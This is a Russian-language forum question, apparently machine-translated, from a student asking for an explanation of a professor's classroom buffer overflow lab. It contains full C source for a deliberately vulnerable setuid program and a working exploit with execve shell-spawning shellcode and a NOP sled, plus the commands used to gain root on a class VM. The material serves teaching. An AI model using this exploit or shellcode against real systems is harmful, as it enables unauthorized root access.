Мой профессор загрузил пример переполнения буфера для нас, но на самом деле не очень объяснил это. В принципе, он использует переполнение буфера для создания оболочки с привилегиями root. Я надеялся, что кто-то сможет объяснить мне, что именно происходит в его примере кода. Он использует два файла C, первый - уязвимая программа.Реализация переполнения буфера
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
//stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
Второй код - это эксплойт.
/* A program that creates a file containing code for launching shell*/
//exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
unsigned int get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr;
int ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]);
ptr = buffer;
a_ptr = (long *) ptr;
memset(buffer, 0x90, buffSize);
ret = get_sp() + offset;
printf("Return Address: 0x%x\n", get_sp());
printf("Address: 0x%x\n", ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for(i = 0; i < 300; i += 4)
{
*(a_ptr++) = ret;
}
for(i = 486; i < codeSize + 486; ++i)
{
buffer[i] = shellcode[i-486];
}
buffer[buffSize-1] = '\0';
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
Затем он использует эти команды из командной строки
$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack
Я проверил это на нашем Ubuntu VM мы создали для класса, и он получает доступ корня, но я просто не понимаю, как , Он также попросил нас подумать о том, как мы можем улучшить код, и любые предложения будут приветствоваться!
спросите своего профессора - его задача объяснить вам это очень хорошо. – pm100
http://phrack.org/issues/49/14.html – ouah
Я не уверен, как именно он предназначен для получения доступа root, но я скомпилировал его, и обе программы просто дают segfault. – MightyPork